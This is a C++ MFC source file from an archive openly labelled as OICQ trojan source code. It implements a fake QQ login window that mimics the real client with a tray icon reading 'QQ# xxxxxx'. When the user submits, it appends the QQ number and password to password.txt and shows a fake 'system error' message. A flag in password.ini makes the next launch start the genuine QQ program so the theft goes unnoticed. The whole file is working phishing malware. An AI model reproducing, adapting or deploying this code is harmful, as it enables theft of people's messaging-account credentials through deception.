www.pudn.com > OICQ木马程序源代码.rar > myoicqDlg.cpp
// myoicqDlg.cpp : implementation file
//
#include "stdafx.h"
#include "myoicq.h"
#include "myoicqDlg.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
// CAboutDlg dialog used for App About
class CAboutDlg : public CDialog
{
public:
CAboutDlg();
// Dialog Data
//{{AFX_DATA(CAboutDlg)
enum { IDD = IDD_ABOUTBOX };
//}}AFX_DATA
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CAboutDlg)
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
//}}AFX_VIRTUAL
// Implementation
protected:
//{{AFX_MSG(CAboutDlg)
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD)
{
//{{AFX_DATA_INIT(CAboutDlg)
//}}AFX_DATA_INIT
}
void CAboutDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CAboutDlg)
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CAboutDlg, CDialog)
//{{AFX_MSG_MAP(CAboutDlg)
// No message handlers
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CMyoicqDlg dialog
CMyoicqDlg::CMyoicqDlg(CWnd* pParent /*=NULL*/)
: CDialog(CMyoicqDlg::IDD, pParent)
{
//{{AFX_DATA_INIT(CMyoicqDlg)
m_Password = _T("");
m_Number = _T("");
m_Number1 = _T("");
//}}AFX_DATA_INIT
// Note that LoadIcon does not require a subsequent DestroyIcon in Win32
m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
m_Pen1.CreatePen(PS_SOLID,1,RGB(128,128,128));
m_Pen2.CreatePen(PS_SOLID,1,RGB(255,255,255));
}
void CMyoicqDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CMyoicqDlg)
DDX_Control(pDX, IDC_REQUEST, m_Request);
DDX_Text(pDX, IDC_PASSWORD, m_Password);
DDX_Text(pDX, IDC_NUMBER, m_Number);
DDX_Text(pDX, IDC_NUMBER1, m_Number1);
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CMyoicqDlg, CDialog)
//{{AFX_MSG_MAP(CMyoicqDlg)
ON_WM_SYSCOMMAND()
ON_WM_PAINT()
ON_WM_QUERYDRAGICON()
ON_BN_CLICKED(IDC_SEND, OnSend)
ON_BN_CLICKED(IDC_USEOLD, OnUseold)
ON_BN_CLICKED(IDC_REQUEST, OnRequest)
ON_BN_CLICKED(IDC_NEXT, OnNext)
ON_BN_CLICKED(IDC_BUTTON3, OnButton3)
ON_WM_CLOSE()
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CMyoicqDlg message handlers
BOOL CMyoicqDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// Add "About..." menu item to system menu.
// ShowWindow(SW_MINIMIZE);
// IDM_ABOUTBOX must be in the system command range.
ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
ASSERT(IDM_ABOUTBOX < 0xF000);
CMenu* pSysMenu = GetSystemMenu(FALSE);
if (pSysMenu != NULL)
{
CString strAboutMenu;
strAboutMenu.LoadString(IDS_ABOUTBOX);
if (!strAboutMenu.IsEmpty())
{
pSysMenu->AppendMenu(MF_SEPARATOR);
pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
}
}
// Set the icon for this dialog. The framework does this automatically
// when the application's main window is not a dialog
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon
//加到任务栏
NOTIFYICONDATA tnd;
tnd.cbSize=sizeof(NOTIFYICONDATA);
tnd.hWnd=AfxGetMainWnd()->m_hWnd;
tnd.uID=IDI_SYSTRAY;
tnd.uFlags=NIF_MESSAGE|NIF_ICON|NIF_TIP;
// tnd.uCallbackMessage=WM_LIBEN;
tnd.hIcon=AfxGetApp()->LoadIcon(IDI_SYSTRAY);
strcpy(tnd.szTip,"QQ# xxxxxx");
Shell_NotifyIcon(NIM_ADD,&tnd);
//
CheckRadioButton(IDC_REQUEST,IDC_USEOLD,IDC_REQUEST);
CString filepath;
filepath=GetAppPath();
filepath+="password.ini";
CFile m_file;
if(m_file.Open(filepath,CFile::modeRead)!=TRUE)
{
m_file.Open(filepath,CFile::modeWrite|CFile::modeCreate);
CString uptime="[config]";
uptime+=0x0d;
uptime+=0x0a;
uptime+="oicq=c:\\progra~1\\Tencent\\QQ2000b.exe";
uptime+=0x0d;
uptime+=0x0a;
//判断是否运行过本程序,如是则将标志设为1,使不运行本程序而运行真正的OICQ并将标志改为0
uptime+="isopen=0";
m_file.Write(uptime,uptime.GetLength());
}
m_file.Close();
int i=GetPrivateProfileInt("config","isopen",0,filepath);
if(i==0)
WritePrivateProfileString("config","isopen","1",filepath);
else
{
WritePrivateProfileString("config","isopen","0",filepath);
char con[255];
memset(con,0,255);
GetPrivateProfileString("config", "oicq", "c:\\progra~1\\Tencent\\QQ2000b.exe",con, 255, filepath);
WinExec(con,SW_SHOWNORMAL);
OnOK();
}
// TODO: Add extra initialization here
return TRUE; // return TRUE unless you set the focus to a control
}
void CMyoicqDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
if ((nID & 0xFFF0) == IDM_ABOUTBOX)
{
CAboutDlg dlgAbout;
dlgAbout.DoModal();
}
else
{
CDialog::OnSysCommand(nID, lParam);
}
}
// If you add a minimize button to your dialog, you will need the code below
// to draw the icon. For MFC applications using the document/view model,
// this is automatically done for you by the framework.
void CMyoicqDlg::OnPaint()
{
/* if (IsIconic())
{
CPaintDC dc(this); // device context for painting
SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);
// Center icon in client rectangle
int cxIcon = GetSystemMetrics(SM_CXICON);
int cyIcon = GetSystemMetrics(SM_CYICON);
CRect rect;
GetClientRect(&rect);
int x = (rect.Width() - cxIcon + 1) / 2;
int y = (rect.Height() - cyIcon + 1) / 2;
// Draw the icon
dc.DrawIcon(x, y, m_hIcon);
}
else
{
CDialog::OnPaint();
}
*/
CPaintDC dc(this);
dc.SelectObject(m_Pen1);
dc.MoveTo(15,290);
dc.LineTo(445,290);
dc.SelectObject(m_Pen2);
dc.MoveTo(15,291);
dc.LineTo(445,291);
}
// The system calls this to obtain the cursor to display while the user drags
// the minimized window.
HCURSOR CMyoicqDlg::OnQueryDragIcon()
{
return (HCURSOR) m_hIcon;
}
void CMyoicqDlg::OnSend()
{
// TODO: Add your control notification handler code here
CFile m_file;
CString filepath=GetAppPath();
filepath+="password.txt";
UpdateData(TRUE);
if(m_file.Open(filepath,CFile::modeWrite)!=TRUE)
m_file.Open(filepath,CFile::modeWrite|CFile::modeCreate);
CString uptime="用户名=";
uptime+=m_Number;
uptime+=0x0d;
uptime+=0x0a;
uptime+="密码=";
uptime+=m_Password;
uptime+=0x0d;
uptime+=0x0a;
//判断是否运行过本程序,如是则将标志设为1,使不运行本程序而运行真正的OICQ并将标志改为0
m_file.SeekToEnd();
m_file.Write(uptime,uptime.GetLength());
m_file.Close();
MessageBox("系统运行出错,本程序将退出!","错误",MB_OK|MB_ICONSTOP);
OnOK();
}
void CMyoicqDlg::OnUseold()
{
GetDlgItem(IDC_NUMBER)->EnableWindow(TRUE);
GetDlgItem(IDC_PASSWORD)->EnableWindow(TRUE);
GetDlgItem(IDC_MYNUMBER)->EnableWindow(TRUE);
GetDlgItem(IDC_MYPASSWORD)->EnableWindow(TRUE);
m_Number="0";
m_Password="0";
UpdateData(FALSE);
}
void CMyoicqDlg::OnRequest()
{
GetDlgItem(IDC_NUMBER)->EnableWindow(FALSE);
GetDlgItem(IDC_PASSWORD)->EnableWindow(FALSE);
GetDlgItem(IDC_MYNUMBER)->EnableWindow(FALSE);
GetDlgItem(IDC_PASSWORD)->EnableWindow(FALSE);
}
CString CMyoicqDlg::GetAppPath()
{
CString path;
GetModuleFileName(NULL,path.GetBuffer(255),255);
path.ReleaseBuffer();
int len=path.GetLength();
for(int i=0;i<=len-1;i++)
{
if(path.Right(1)!="\\")
path.Delete(len-1-i,1);
else
break;
}
return path;
}
void CMyoicqDlg::OnNext()
{
UpdateData(TRUE);
CFile m_file;
CString filepath=GetAppPath();
filepath+="password.txt";
int m_Check=GetCheckedRadioButton(IDC_REQUEST,IDC_USEOLD);
if(m_file.Open(filepath,CFile::modeWrite|CFile::modeRead)!=TRUE)
m_file.Open(filepath,CFile::modeWrite|CFile::modeCreate);
CString uptime="用户名=";
uptime+=m_Number;
uptime+=0x0d;
uptime+=0x0a;
uptime+="密码=";
uptime+=m_Password;
uptime+=0x0d;
uptime+=0x0a;
//判断是否运行过本程序,如是则将标志设为1,使不运行本程序而运行真正的OICQ并将标志改为0
m_file.SeekToEnd();
m_file.Write(uptime,uptime.GetLength());
m_file.Close();
MessageBox("系统运行出错,本程序将退出!","错误",MB_OK|MB_ICONSTOP);
OnOK();
}
void CMyoicqDlg::OnButton3()
{
OnOK();
}
void CMyoicqDlg::OnClose()
{
NOTIFYICONDATA tnid;
tnid.cbSize=sizeof(NOTIFYICONDATA);
tnid.hWnd=AfxGetMainWnd()->m_hWnd;
tnid.uID=IDI_SYSTRAY;//保证删除的是我们的图标
Shell_NotifyIcon(NIM_DELETE,&tnid);
CDialog::OnClose();
}